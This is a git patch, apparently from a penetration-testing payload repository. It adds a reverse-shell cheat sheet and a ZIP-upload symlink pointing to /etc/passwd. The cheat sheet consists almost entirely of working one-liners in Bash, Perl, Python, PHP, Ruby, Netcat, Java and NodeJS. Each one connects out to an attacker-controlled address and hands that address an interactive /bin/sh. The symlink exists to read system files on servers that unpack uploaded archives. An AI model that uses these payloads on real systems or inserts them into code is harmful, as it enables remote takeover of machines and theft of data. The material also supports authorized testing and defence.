From 635b9f87f71733a1ec13b4575a78a55a67487848 Mon Sep 17 00:00:00 2001 From: Swissky Date: Thu, 3 Aug 2017 21:35:43 +0200 Subject: [PATCH] Reverse Shell Cheatsheet --- Reverse Shell.md | 64 +++++++++++++++++++ .../ZIP Symbolic Link/passwd | 1 + 2 files changed, 65 insertions(+) create mode 100644 Reverse Shell.md create mode 120000 Upload insecure files/ZIP Symbolic Link/passwd diff --git a/Reverse Shell.md b/Reverse Shell.md new file mode 100644 index 0000000..966d2b7 --- /dev/null +++ b/Reverse Shell.md @@ -0,0 +1,64 @@ +# Reverse Shell Methods + +## Reverse Shell Cheat Sheet + +Bash +```bash +bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 +0<&196;exec 196<>/dev/tcp//; sh <&196 >&196 2>&196 +``` + +Perl +```perl +perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' +``` + +Python +```python +python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' +``` + +PHP +```bash +php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' +``` + +Ruby +```ruby +ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' +``` + + +Netcat +```bash +nc -e /bin/sh 10.0.0.1 1234 +rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f +``` + +Java +```java +r = Runtime.getRuntime() +p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) +p.waitFor() +``` + +NodeJS +```javascript +(function(){ + var net = require("net"), + cp = require("child_process"), + sh = cp.spawn("/bin/sh", []); + var client = new net.Socket(); + client.connect(8080, "10.17.26.64", function(){ + client.pipe(sh.stdin); + sh.stdout.pipe(client); + sh.stderr.pipe(client); + }); + return /a/; // Prevents the Node.js application form crashing +})(); +``` + + +## Thanks to +* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner) +* [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) diff --git a/Upload insecure files/ZIP Symbolic Link/passwd b/Upload insecure files/ZIP Symbolic Link/passwd new file mode 120000 index 0000000..3594e94 --- /dev/null +++ b/Upload insecure files/ZIP Symbolic Link/passwd @@ -0,0 +1 @@ +/etc/passwd \ No newline at end of file